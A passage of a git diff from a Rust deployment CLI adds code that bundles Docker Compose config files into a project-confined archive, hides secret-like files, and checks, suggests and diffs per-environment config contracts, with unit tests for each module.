+///   - directory mounts (e.g. `./library`, `./config`) — created on the target,
+///   - absolute / host paths and `~`-relative paths,
+///   - sources that resolve outside the project directory,
+///   - sources that do not exist locally (created on the target).
+///
+/// This is intentionally more lenient than [`collect_reference`], which stays
+/// strict for `env_file:` entries (those must exist and be files).
+fn collect_volume_reference(
+    project_root: &Path,
+    base_dir: &Path,
+    environment: &str,
+    reference: &str,
+    collected: &mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<Option<String>, CliError> {
+    let path = Path::new(reference);
+    if path.is_absolute() || reference.starts_with('~') {
+        return Ok(None);
+    }
+
+    // Resolve without erroring on missing paths (missing = created on target).
+    let Ok(canonical) = base_dir.join(path).canonicalize() else {
+        return Ok(None);
+    };
+
+    if !canonical.starts_with(project_root) {
+        return Ok(None);
+    }
+
+    if canonical.is_dir() {
+        eprintln!(
+            "  Note: skipping directory bind mount '{}' — it is created on the target host, not uploaded.",
+            reference
+        );
+        return Ok(None);
+    }
+
+    if !canonical.is_file() {
+        return Ok(None);
+    }
+
+    Ok(Some(collect_reference(
+        project_root,
+        base_dir,
+        environment,
+        reference,
+        collected,
+    )?))
+}
+
+fn collect_file<'a>(
+    project_root: &Path,
+    _environment: &str,
+    path: PathBuf,
+    collected: &'a mut BTreeMap<PathBuf, CollectedFile>,
+) -> Result<&'a CollectedFile, CliError> {
+    let canonical = path.canonicalize().map_err(|err| {
+        validation_error(format!(
+            "config bundle referenced file does not exist or cannot be read: {} ({})",
+            path.display(),
+            err
+        ))
+    })?;
+    ensure_inside_project(project_root, &canonical)?;
+
+    if canonical.is_dir() {
+        return Err(validation_error(format!(
+            "directory mounts are not supported in config bundles: {}",
+            display_project_path(project_root, &canonical)
+        )));
+    }
+
+    if !canonical.is_file() {
+        return Err(validation_error(format!(
+            "config bundle path is not a file: {}",
+            canonical.display()
+        )));
+    }
+
+    if !collected.contains_key(&canonical) {
+        let source_path = display_project_path(project_root, &canonical);
+        let destination_path = source_path.replace('\\', "/");
+        collected.insert(
+            canonical.clone(),
+            CollectedFile {
+                source_path,
+                destination_path,
+                mode: "0644".to_string(),
+                bytes: std::fs::read(&canonical).map_err(|err| {
+                    validation_error(format!(
+                        "failed to read config bundle file {}: {}",
+                        display_project_path(project_root, &canonical),
+                        err
+                    ))
+                })?,
+            },
+        );
+    }
+
+    Ok(collected
+        .get(&canonical)
+        .expect("collected file was inserted"))
+}
+
+fn validate_relative_destinations(files: &[ConfigBundleFile]) -> Result<(), CliError> {
+    for file in files {
+        if Path::new(&file.destination_path).is_absolute() {
+            return Err(validation_error(format!(
+                "config bundle destination must be project-relative: {} -> {}",
+                file.source_path, file.destination_path
+            )));
+        }
+    }
+
+    Ok(())
+}
+
+fn write_archive<'a>(
+    archive_path: &Path,
+    files: impl IntoIterator<Item = &'a CollectedFile>,
+) -> Result<(), CliError> {
+    let archive_file = File::create(archive_path)?;
+    let encoder = Encoder::new(archive_file, 0)
+        .map_err(|err| validation_error(format!("failed to create zstd archive: {err}")))?;
+    let mut tar = Builder::new(encoder);
+
+    for file in files {
+        let mut header = Header::new_gnu();
+        header.set_size(file.bytes.len() as u64);
+        header.set_mode(0o644);
+        header.set_mtime(0);
+        header.set_cksum();
+        tar.append_data(&mut header, &file.source_path, file.bytes.as_slice())?;
+    }
+
+    let encoder = tar.into_inner()?;
+    encoder
+        .finish()
+        .map_err(|err| validation_error(format!("failed to finish zstd archive: {err}")))?;
+    Ok(())
+}
+
+fn resolve_reference_path(
+    project_root: &Path,
+    base_dir: &Path,
+    reference: &Path,
+) -> Result<PathBuf, CliError> {
+    if reference.is_absolute() {
+        return Ok(reference.to_path_buf());
+    }
+
+    if reference.starts_with("~") {
+        return Err(validation_error(format!(
+            "home-relative config paths are not supported: {}",
+            reference.display()
+        )));
+    }
+
+    let base = if reference
+        .components()
+        .any(|component| matches!(component, Component::ParentDir))
+    {
+        let joined = base_dir.join(reference);
+        joined.canonicalize().map_err(|err| {
+            validation_error(format!(
+                "config bundle referenced file does not exist or cannot be read: {} ({})",
+                joined.display(),
+                err
+            ))
+        })?
+    } else {
+        base_dir.join(reference)
+    };
+
+    let canonical = base.canonicalize().map_err(|err| {
+        validation_error(format!(
+            "config bundle referenced file does not exist or cannot be read: {} ({})",
+            base.display(),
+            err
+        ))
+    })?;
+    ensure_inside_project(project_root, &canonical)?;
+    Ok(canonical)
+}
+
+fn ensure_inside_project(project_root: &Path, path: &Path) -> Result<(), CliError> {
+    if path.starts_with(project_root) {
+        return Ok(());
+    }
+
+    Err(validation_error(format!(
+        "config bundle path must stay inside the project directory: {}",
+        path.display()
+    )))
+}
+
+fn display_project_path(project_root: &Path, path: &Path) -> String {
+    path.strip_prefix(project_root)
+        .unwrap_or(path)
+        .to_string_lossy()
+        .replace('\\', "/")
+}
+
+fn validate_environment_name(environment: &str) -> Result<(), CliError> {
+    if !environment.is_empty()
+        && environment
+            .chars()
+            .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '-' | '_'))
+    {
+        return Ok(());
+    }
+
+    Err(validation_error(format!(
+        "environment name must contain only letters, digits, '-' or '_': {environment}"
+    )))
+}
+
+fn sha256_hex(bytes: &[u8]) -> String {
+    let mut hasher = Sha256::new();
+    hasher.update(bytes);
+    format!("{:x}", hasher.finalize())
+}
+
+fn is_secret_like_path(path: &str) -> bool {
+    let file_name = Path::new(path)
+        .file_name()
+        .and_then(|name| name.to_str())
+        .unwrap_or(path)
+        .to_ascii_lowercase();
+
+    file_name == ".env"
+        || file_name.ends_with(".env")
+        || file_name.contains("secret")
+        || file_name.contains("password")
+        || file_name.contains("private")
+        || file_name.ends_with(".key")
+}
+
+fn mapping_mut(value: &mut serde_yaml::Value) -> Option<&mut serde_yaml::Mapping> {
+    match value {
+        serde_yaml::Value::Mapping(mapping) => Some(mapping),
+        _ => None,
+    }
+}
+
+fn validation_error(message: impl Into<String>) -> CliError {
+    CliError::ConfigValidation(message.into())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    #[test]
+    fn build_config_bundle_collects_env_file_and_file_mounts_for_environment() {
+        let dir = TempDir::new().unwrap();
+        let compose_dir = dir.path().join("docker/production");
+        std::fs::create_dir_all(&compose_dir).unwrap();
+        std::fs::write(compose_dir.join(".env"), "RUST_LOG=warning\n").unwrap();
+        std::fs::write(compose_dir.join("nginx.conf"), "events {}\n").unwrap();
+        std::fs::write(
+            compose_dir.join("compose.yml"),
+            r#"
+services:
+  api:
+    image: device-api:latest
+    env_file:
+      - .env
+    volumes:
+      - ./nginx.conf:/etc/nginx/nginx.conf:ro
+"#,
+        )
+        .unwrap();
+
+        let artifacts = build_config_bundle(
+            dir.path(),
+            "production",
+            &compose_dir.join("compose.yml"),
+            Some(&compose_dir.join(".env")),
+            &compose_dir,
+            false,
+        )
+        .expect("bundle should be built");
+
+        assert_eq!(artifacts.environment, "production");
+        assert!(artifacts
+            .manifest_path
+            .ends_with(".stacker/deploy/production/config-bundle.manifest.json"));
+        assert!(artifacts
+            .archive_path
+            .ends_with(".stacker/deploy/production/config-bundle.tar.zst"));
+        assert!(artifacts
+            .remote_compose_path
+            .ends_with(".stacker/deploy/production/docker-compose.remote.yml"));
+        assert!(artifacts.manifest_path.exists());
+        assert!(artifacts.archive_path.exists());
+        assert!(artifacts.remote_compose_path.exists());
+
+        let sources: Vec<&str> = artifacts
+            .manifest
+            .files
+            .iter()
+            .map(|file| file.source_path.as_str())
+            .collect();
+        assert!(sources.contains(&"docker/production/.env"));
+        assert!(sources.contains(&"docker/production/nginx.conf"));
+
+        let remote_compose = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap();
+        assert!(remote_compose.contains("docker/production/.env"));
+        assert!(remote_compose.contains("docker/production/nginx.conf:/etc/nginx/nginx.conf:ro"));
+
+        let names: Vec<&str> = artifacts
+            .config_files
+            .iter()
+            .filter_map(|file| file.get("name").and_then(|name| name.as_str()))
+            .collect();
+        assert!(names.contains(&"docker-compose.yml"));
+        assert!(names.contains(&".env"));
+        assert!(names.contains(&"nginx.conf"));
+
+        let root_env = artifacts
+            .config_files
+            .iter()
+            .find(|file| {
+                file.get("destination_path")
+                    .and_then(|value| value.as_str())
+                    == Some(".env")
+            })
+            .expect("selected env file should also be uploaded as compose root .env");
+        assert_eq!(root_env["content"], "RUST_LOG=warning\n");
+    }
+
+    #[test]
+    fn build_config_bundle_keeps_root_compose_env_file_project_relative() {
+        let dir = TempDir::new().unwrap();
+        std::fs::write(dir.path().join(".env"), "APP_ENV=production\n").unwrap();
+        std::fs::write(
+            dir.path().join("docker-compose.yml"),
+            r#"
+services:
+  web:
+    image: nginx:latest
+    env_file:
+      - .env
+"#,
+        )
+        .unwrap();
+
+        let artifacts = build_config_bundle(
+            dir.path(),
+            "production",
+            &dir.path().join("docker-compose.yml"),
+            None,
+            dir.path(),
+            false,
+        )
+        .expect("bundle should be built");
+
+        let remote_compose = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap();
+        assert!(remote_compose.contains(".env"));
+        assert!(!remote_compose.contains("/opt/stacker/deployments"));
+
+        assert!(artifacts.config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|value| value.as_str())
+                == Some(".env")
+        }));
+    }
+
+    #[test]
+    fn build_config_bundle_resolves_generated_compose_refs_against_project_root() {
+        // A generated compose lives under .stacker/ but its bind-mount paths are
+        // authored relative to the project root (from stacker.yml app.volumes).
+        // With reference_base = project root, "./config.yaml" must resolve to
+        // <project>/config.yaml, not <project>/.stacker/config.yaml.
+        let dir = TempDir::new().unwrap();
+        std::fs::write(dir.path().join("config.yaml"), "key: value\n").unwrap();
+        let stacker_dir = dir.path().join(".stacker");
+        std::fs::create_dir_all(&stacker_dir).unwrap();
+        std::fs::write(
+            stacker_dir.join("docker-compose.yml"),
+            r#"
+services:
+  app:
+    image: example/app:latest
+    volumes:
+      - ./config.yaml:/app/config.yaml:ro
+"#,
+        )
+        .unwrap();
+
+        let artifacts = build_config_bundle(
+            dir.path(),
+            "default",
+            &stacker_dir.join("docker-compose.yml"),
+            None,
+            dir.path(),
+            false,
+        )
+        .expect("bundle should be built for generated compose");
+
+        let sources: Vec<&str> = artifacts
+            .manifest
+            .files
+            .iter()
+            .map(|file| file.source_path.as_str())
+            .collect();
+        assert!(
+            sources.contains(&"config.yaml"),
+            "expected project-root config.yaml, got {sources:?}"
+        );
+
+        let remote_compose = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap();
+        assert!(remote_compose.contains("config.yaml:/app/config.yaml:ro"));
+    }
+
+    #[test]
+    fn validate_relative_destinations_rejects_absolute_paths() {
+        let err = validate_relative_destinations(&[ConfigBundleFile {
+            source_path: ".env".to_string(),
+            destination_path: "/opt/stacker/deployments/production/files/.env".to_string(),
+            mode: "0644".to_string(),
+            size: 12,
+            sha256: "abc".to_string(),
+        }])
+        .unwrap_err();
+
+        assert!(err
+            .to_string()
+            .contains("config bundle destination must be project-relative"));
+    }
+
+    #[test]
+    fn build_config_bundle_passes_through_directory_and_missing_mounts() {
+        // romm-style app: data directories (existing + not-yet-created) and a
+        // real config file mounted alongside. Directory/missing mounts must be
+        // left untouched (created on the target), while the file is bundled.
+        let dir = TempDir::new().unwrap();
+        let compose_dir = dir.path().join("docker/production");
+        std::fs::create_dir_all(compose_dir.join("library")).unwrap();
+        std::fs::write(compose_dir.join("romm.env"), "ROMM_DB=romm\n").unwrap();
+        std::fs::write(
+            compose_dir.join("compose.yml"),
+            r#"
+services:
+  romm:
+    image: rommapp/romm:latest
+    volumes:
+      - ./library:/romm/library
+      - ./assets:/romm/assets:rw
+      - ./romm.env:/romm/config/romm.env:ro
+"#,
+        )
+        .unwrap();
+
+        let artifacts = build_config_bundle(
+            dir.path(),
+            "production",
+            &compose_dir.join("compose.yml"),
+            None,
+            &compose_dir,
+            false,
+        )
+        .expect("directory mounts should not block the bundle");
+
+        // Only the real file is collected.
+        let sources: Vec<&str> = artifacts
+            .manifest
+            .files
+            .iter()
+            .map(|file| file.source_path.as_str())
+            .collect();
+        assert_eq!(sources, vec!["docker/production/romm.env"]);
+
+        // Directory + missing mounts pass through verbatim; the file is rewritten.
+        let remote = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap();
+        assert!(remote.contains("./library:/romm/library"));
+        assert!(remote.contains("./assets:/romm/assets:rw"));
+        assert!(remote.contains("docker/production/romm.env:/romm/config/romm.env:ro"));
+    }
+
+    #[test]
+    fn build_config_bundle_attaches_agent_network_when_requested() {
+        let dir = TempDir::new().unwrap();
+        let compose_dir = dir.path().join("docker/production");
+        std::fs::create_dir_all(&compose_dir).unwrap();
+        std::fs::write(
+            compose_dir.join("compose.yml"),
+            r#"
+services:
+  app:
+    image: example/app:latest
+  db:
+    image: mysql:8
+"#,
+        )
+        .unwrap();
+
+        let artifacts = build_config_bundle(
+            dir.path(),
+            "production",
+            &compose_dir.join("compose.yml"),
+            None,
+            &compose_dir,
+            true,
+        )
+        .expect("bundle should be built");
+
+        let remote: serde_yaml::Value =
+            serde_yaml::from_str(&std::fs::read_to_string(&artifacts.remote_compose_path).unwrap())
+                .unwrap();
+        // Every service joins default_network, declared external at the top level.
+        for svc in ["app", "db"] {
+            let nets = remote["services"][svc]["networks"].as_sequence().unwrap();
+            assert!(
+                nets.iter().any(|n| n.as_str() == Some("default_network")),
+                "service {svc} should join default_network"
+            );
+        }
+        assert_eq!(remote["networks"]["default_network"]["external"], true);
+    }
+
+    #[test]
+    fn build_config_bundle_reports_missing_env_file_path() {
+        let dir = TempDir::new().unwrap();
+        let compose_dir = dir.path().join("docker/production");
+        std::fs::create_dir_all(&compose_dir).unwrap();
+        std::fs::write(
+            compose_dir.join("compose.yml"),
+            r#"
+services:
+  upload:
+    image: syncopia/upload:latest
+    env_file:
+      - upload.env
+"#,
+        )
+        .unwrap();
+
+        let err = build_config_bundle(
+            dir.path(),
+            "production",
+            &compose_dir.join("compose.yml"),
+            None,
+            &compose_dir,
+            false,
+        )
+        .unwrap_err();
+
+        assert!(
+            err.to_string().contains("docker/production/upload.env")
+                || err.to_string().contains("docker/production\\upload.env"),
+            "unexpected error: {err}"
+        );
+    }
+
+    #[test]
+    fn artifact_metadata_marks_secret_like_files_hidden() {
+        let manifest = ConfigBundleManifest {
+            version: 1,
+            environment: "production".to_string(),
+            files: vec![
+                ConfigBundleFile {
+                    source_path: "docker/production/.env".to_string(),
+                    destination_path: "docker/production/.env".to_string(),
+                    mode: "0644".to_string(),
+                    size: 12,
+                    sha256: "abc".to_string(),
+                },
+                ConfigBundleFile {
+                    source_path: "docker/production/nginx.conf".to_string(),
+                    destination_path: "docker/production/nginx.conf".to_string(),
+                    mode: "0644".to_string(),
+                    size: 10,
+                    sha256: "def".to_string(),
+                },
+            ],
+        };
+        let artifacts = ConfigBundleArtifacts {
+            environment: "production".to_string(),
+            manifest_path: PathBuf::from(".stacker/deploy/production/config-bundle.manifest.json"),
+            archive_path: PathBuf::from(".stacker/deploy/production/config-bundle.tar.zst"),
+            remote_compose_path: PathBuf::from(
+                ".stacker/deploy/production/docker-compose.remote.yml",
+            ),
+            manifest,
+            config_files: vec![],
+            synthesized_environment: false,
+        };
+
+        let metadata = artifacts.artifact_metadata();
+        assert_eq!(metadata["environment"], "production");
+        assert_eq!(metadata["config_files"][0]["content_hidden"], true);
+        assert_eq!(metadata["config_files"][1]["content_hidden"], false);
+        assert!(metadata["config_files"][0].get("content").is_none());
+    }
+}
diff --git a/src/cli/config_check.rs b/src/cli/config_check.rs
new file mode 100644
index 00000000..9ae5331d
--- /dev/null
+++ b/src/cli/config_check.rs
@@ -0,0 +1,254 @@
+use std::collections::{BTreeMap, BTreeSet};
+use std::path::Path;
+
+use serde::Serialize;
+
+use crate::cli::config_inventory::{load_inventory, ConfigInventory, InventoryOptions};
+use crate::cli::config_parser::StackerConfig;
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigCheckResult {
+    pub environment: String,
+    pub service: Option<String>,
+    pub missing_required: Vec<ConfigCheckItem>,
+    pub missing_optional: Vec<ConfigCheckItem>,
+    pub warnings: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigCheckItem {
+    pub target: String,
+    pub key: String,
+    pub secret: bool,
+}
+
+pub fn load_check(
+    config_path: &Path,
+    environment: &str,
+    service: Option<String>,
+) -> Result<ConfigCheckResult, CliError> {
+    let config = StackerConfig::from_file(config_path)?;
+    let inventory = load_inventory(
+        config_path,
+        &InventoryOptions {
+            environment: environment.to_string(),
+            service: service.clone(),
+            show_values: false,
+        },
+    )?;
+
+    Ok(check_inventory(config, inventory, service))
+}
+
+pub fn check_inventory(
+    config: StackerConfig,
+    inventory: ConfigInventory,
+    service: Option<String>,
+) -> ConfigCheckResult {
+    let mut present_keys = BTreeMap::new();
+    for target in &inventory.targets {
+        let keys = target
+            .keys
+            .iter()
+            .map(|key| key.key.clone())
+            .collect::<BTreeSet<_>>();
+        present_keys.insert(target.target_code.clone(), keys);
+    }
+
+    let mut missing_required = Vec::new();
+    let mut missing_optional = Vec::new();
+
+    for (target, contract) in config.config_contract.services {
+        if service.as_deref().is_some_and(|filter| filter != target) {
+            continue;
+        }
+
+        let present = present_keys.get(&target).cloned().unwrap_or_default();
+        let secret_keys = contract.secret.into_iter().collect::<BTreeSet<_>>();
+
+        for key in contract.required {
+            if !present.contains(&key) {
+                missing_required.push(ConfigCheckItem {
+                    secret: secret_keys.contains(&key),
+                    target: target.clone(),
+                    key,
+                });
+            }
+        }
+
+        for key in contract.optional {
+            if !present.contains(&key) {
+                missing_optional.push(ConfigCheckItem {
+                    secret: secret_keys.contains(&key),
+                    target: target.clone(),
+                    key,
+                });
+            }
+        }
+    }
+
+    ConfigCheckResult {
+        environment: inventory.environment,
+        service,
+        missing_required,
+        missing_optional,
+        warnings: inventory.warnings,
+    }
+}
+
+impl ConfigCheckResult {
+    pub fn has_required_failures(&self) -> bool {
+        !self.missing_required.is_empty()
+    }
+
+    pub fn has_warnings(&self) -> bool {
+        !self.missing_optional.is_empty() || !self.warnings.is_empty()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write(path: &Path, content: &str) {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).unwrap();
+        }
+        std::fs::write(path, content).unwrap();
+    }
+
+    fn check(root: &Path, service: Option<&str>) -> ConfigCheckResult {
+        load_check(
+            &root.join("stacker.yml"),
+            "prod",
+            service.map(str::to_string),
+        )
+        .unwrap()
+    }
+
+    #[test]
+    fn config_check_reports_required_key_missing_from_target() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    env_file: docker/prod/.env
+config_contract:
+  services:
+    device-api:
+      required:
+        - DATABASE_URL
+"#,
+        );
+        write(&temp.path().join("docker/prod/.env"), "RUST_LOG=debug\n");
+
+        let result = check(temp.path(), None);
+
+        assert!(result.has_required_failures());
+        assert_eq!(result.missing_required[0].target, "device-api");
+        assert_eq!(result.missing_required[0].key, "DATABASE_URL");
+    }
+
+    #[test]
+    fn config_check_treats_optional_key_as_warning_only() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+config_contract:
+  services:
+    device-api:
+      optional:
+        - SENTRY_DSN
+"#,
+        );
+
+        let result = check(temp.path(), None);
+
+        assert!(!result.has_required_failures());
+        assert!(result.has_warnings());
+        assert_eq!(result.missing_optional[0].key, "SENTRY_DSN");
+    }
+
+    #[test]
+    fn config_check_secret_contract_redacts_missing_key_marker() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+config_contract:
+  services:
+    device-api:
+      required:
+        - CUSTOM_API_KEY
+      secret:
+        - CUSTOM_API_KEY
+"#,
+        );
+
+        let result = check(temp.path(), None);
+
+        assert!(result.missing_required[0].secret);
+        assert_eq!(result.missing_required[0].key, "CUSTOM_API_KEY");
+    }
+
+    #[test]
+    fn config_check_passes_when_required_key_exists() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    env_file: docker/prod/.env
+config_contract:
+  services:
+    device-api:
+      required:
+        - DATABASE_URL
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/.env"),
+            "DATABASE_URL=postgres://db\n",
+        );
+
+        let result = check(temp.path(), None);
+
+        assert!(!result.has_required_failures());
+        assert!(result.missing_required.is_empty());
+    }
+
+    #[test]
+    fn config_check_respects_service_filter() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+config_contract:
+  services:
+    device-api:
+      required:
+        - DATABASE_URL
+    upload:
+      required:
+        - S3_BUCKET
+"#,
+        );
+
+        let result = check(temp.path(), Some("upload"));
+
+        assert_eq!(result.missing_required.len(), 1);
+        assert_eq!(result.missing_required[0].target, "upload");
+        assert_eq!(result.missing_required[0].key, "S3_BUCKET");
+    }
+}
diff --git a/src/cli/config_contract.rs b/src/cli/config_contract.rs
new file mode 100644
index 00000000..7fd57640
--- /dev/null
+++ b/src/cli/config_contract.rs
@@ -0,0 +1,173 @@
+use std::collections::BTreeMap;
+use std::path::Path;
+
+use serde::Serialize;
+
+use crate::cli::config_inventory::{load_inventory, ConfigInventory, InventoryOptions};
+use crate::cli::config_parser::{ConfigContract, TargetConfigContract};
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone)]
+pub struct ContractSuggestOptions {
+    pub environment: String,
+    pub service: Option<String>,
+}
+
+#[derive(Debug, Serialize)]
+struct ContractSuggestion {
+    config_contract: ConfigContract,
+}
+
+pub fn suggest_contract_yaml(
+    config_path: &Path,
+    options: &ContractSuggestOptions,
+) -> Result<String, CliError> {
+    let inventory = load_inventory(
+        config_path,
+        &InventoryOptions {
+            environment: options.environment.clone(),
+            service: options.service.clone(),
+            show_values: false,
+        },
+    )?;
+
+    contract_suggestion_yaml(suggest_contract(inventory))
+}
+
+pub fn suggest_contract(inventory: ConfigInventory) -> ConfigContract {
+    let mut services = BTreeMap::new();
+
+    for target in inventory.targets {
+        let mut required = Vec::new();
+        let mut secret = Vec::new();
+
+        for key in target.keys {
+            required.push(key.key.clone());
+            if key.secret {
+                secret.push(key.key);
+            }
+        }
+
+        services.insert(
+            target.target_code,
+            TargetConfigContract {
+                required,
+                optional: Vec::new(),
+                secret,
+            },
+        );
+    }
+
+    ConfigContract { services }
+}
+
+pub fn contract_suggestion_yaml(contract: ConfigContract) -> Result<String, CliError> {
+    serde_yaml::to_string(&ContractSuggestion {
+        config_contract: contract,
+    })
+    .map_err(CliError::from)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write(path: &Path, content: &str) {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).unwrap();
+        }
+        std::fs::write(path, content).unwrap();
+    }
+
+    #[test]
+    fn config_contract_suggest_generates_required_keys_from_inventory() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    env_file: docker/prod/.env
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/.env"),
+            "DATABASE_URL=postgres://db\nRUST_LOG=debug\n",
+        );
+
+        let yaml = suggest_contract_yaml(
+            &temp.path().join("stacker.yml"),
+            &ContractSuggestOptions {
+                environment: "prod".to_string(),
+                service: None,
+            },
+        )
+        .unwrap();
+
+        assert!(yaml.contains("config_contract:"));
+        assert!(yaml.contains("device-api:"));
+        assert!(yaml.contains("- DATABASE_URL"));
+        assert!(yaml.contains("- RUST_LOG"));
+    }
+
+    #[test]
+    fn config_contract_suggest_classifies_secret_like_keys() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+env:
+  S3_SECRET_KEY: secret
+"#,
+        );
+
+        let yaml = suggest_contract_yaml(
+            &temp.path().join("stacker.yml"),
+            &ContractSuggestOptions {
+                environment: "prod".to_string(),
+                service: None,
+            },
+        )
+        .unwrap();
+
+        assert!(yaml.contains("secret:"));
+        assert!(yaml.contains("- S3_SECRET_KEY"));
+    }
+
+    #[test]
+    fn config_contract_suggest_respects_service_filter() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: bucket
+  worker:
+    image: worker:latest
+    environment:
+      QUEUE: default
+"#,
+        );
+
+        let yaml = suggest_contract_yaml(
+            &temp.path().join("stacker.yml"),
+            &ContractSuggestOptions {
+                environment: "prod".to_string(),
+                service: Some("upload".to_string()),
+            },
+        )
+        .unwrap();
+
+        assert!(yaml.contains("upload:"));
+        assert!(yaml.contains("- S3_BUCKET"));
+        assert!(!yaml.contains("worker:"));
+        assert!(!yaml.contains("- QUEUE"));
+    }
+}
diff --git a/src/cli/config_diff.rs b/src/cli/config_diff.rs
new file mode 100644
index 00000000..4ae0d26e
--- /dev/null
+++ b/src/cli/config_diff.rs
@@ -0,0 +1,322 @@
+use std::collections::{BTreeMap, BTreeSet};
+use std::path::Path;
+
+use serde::Serialize;
+
+use crate::cli::config_inventory::{
+    load_inventory, ConfigInventory, ConfigKeyInventory, InventoryOptions,
+};
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigDiff {
+    pub from_environment: String,
+    pub to_environment: String,
+    pub service: Option<String>,
+    pub missing_in_to: Vec<DiffItem>,
+    pub only_in_to: Vec<DiffItem>,
+    pub different: Vec<DiffItem>,
+    pub warnings: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct DiffItem {
+    pub target: String,
+    pub key: String,
+    pub secret: bool,
+    pub from_source: Option<String>,
+    pub to_source: Option<String>,
+    pub from_hash: Option<String>,
+    pub to_hash: Option<String>,
+}
+
+pub fn load_diff(
+    config_path: &Path,
+    from_environment: &str,
+    to_environment: &str,
+    service: Option<String>,
+) -> Result<ConfigDiff, CliError> {
+    let from_inventory = load_inventory(
+        config_path,
+        &InventoryOptions {
+            environment: from_environment.to_string(),
+            service: service.clone(),
+            show_values: false,
+        },
+    )?;
+    let to_inventory = load_inventory(
+        config_path,
+        &InventoryOptions {
+            environment: to_environment.to_string(),
+            service: service.clone(),
+            show_values: false,
+        },
+    )?;
+
+    Ok(diff_inventories(from_inventory, to_inventory, service))
+}
+
+pub fn diff_inventories(
+    from_inventory: ConfigInventory,
+    to_inventory: ConfigInventory,
+    service: Option<String>,
+) -> ConfigDiff {
+    let from_environment = from_inventory.environment.clone();
+    let to_environment = to_inventory.environment.clone();
+    let mut warnings = from_inventory.warnings.clone();
+    warnings.extend(to_inventory.warnings.clone());
+
+    let from_keys = flatten_inventory(from_inventory);
+    let to_keys = flatten_inventory(to_inventory);
+    let mut identities = BTreeSet::new();
+    identities.extend(from_keys.keys().cloned());
+    identities.extend(to_keys.keys().cloned());
+
+    let mut missing_in_to = Vec::new();
+    let mut only_in_to = Vec::new();
+    let mut different = Vec::new();
+
+    for identity in identities {
+        match (from_keys.get(&identity), to_keys.get(&identity)) {
+            (Some(from_key), None) => {
+                missing_in_to.push(diff_item(&identity, Some(from_key), None))
+            }
+            (None, Some(to_key)) => only_in_to.push(diff_item(&identity, None, Some(to_key))),
+            (Some(from_key), Some(to_key)) if from_key.value_hash != to_key.value_hash => {
+                different.push(diff_item(&identity, Some(from_key), Some(to_key)));
+            }
+            _ => {}
+        }
+    }
+
+    ConfigDiff {
+        from_environment,
+        to_environment,
+        service,
+        missing_in_to,
+        only_in_to,
+        different,
+        warnings,
+    }
+}
+
+impl ConfigDiff {
+    pub fn has_differences(&self) -> bool {
+        !self.missing_in_to.is_empty() || !self.only_in_to.is_empty() || !self.different.is_empty()
+    }
+}
+
+fn flatten_inventory(inventory: ConfigInventory) -> BTreeMap<(String, String), ConfigKeyInventory> {
+    let mut flattened = BTreeMap::new();
+
+    for target in inventory.targets {
+        for key in target.keys {
+            flattened.insert((target.target_code.clone(), key.key.clone()), key);
+        }
+    }
+
+    flattened
+}
+
+fn diff_item(
+    identity: &(String, String),
+    from_key: Option<&ConfigKeyInventory>,
+    to_key: Option<&ConfigKeyInventory>,
+) -> DiffItem {
+    DiffItem {
+        target: identity.0.clone(),
+        key: identity.1.clone(),
+        secret: from_key
+            .map(|key| key.secret)
+            .or_else(|| to_key.map(|key| key.secret))
+            .unwrap_or(false),
+        from_source: from_key.map(|key| key.source.clone()),
+        to_source: to_key.map(|key| key.source.clone()),
+        from_hash: from_key.and_then(|key| key.value_hash.clone()),
+        to_hash: to_key.and_then(|key| key.value_hash.clone()),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write(path: &Path, content: &str) {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).unwrap();
+        }
+        std::fs::write(path, content).unwrap();
+    }
+
+    fn diff(root: &Path, service: Option<&str>) -> ConfigDiff {
+        load_diff(
+            &root.join("stacker.yml"),
+            "dev",
+            "prod",
+            service.map(str::to_string),
+        )
+        .unwrap()
+    }
+
+    fn write_env_diff_project(root: &Path, dev_env: &str, prod_env: &str) {
+        write(
+            &root.join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  dev:
+    env_file: docker/dev/.env
+  prod:
+    env_file: docker/prod/.env
+"#,
+        );
+        write(&root.join("docker/dev/.env"), dev_env);
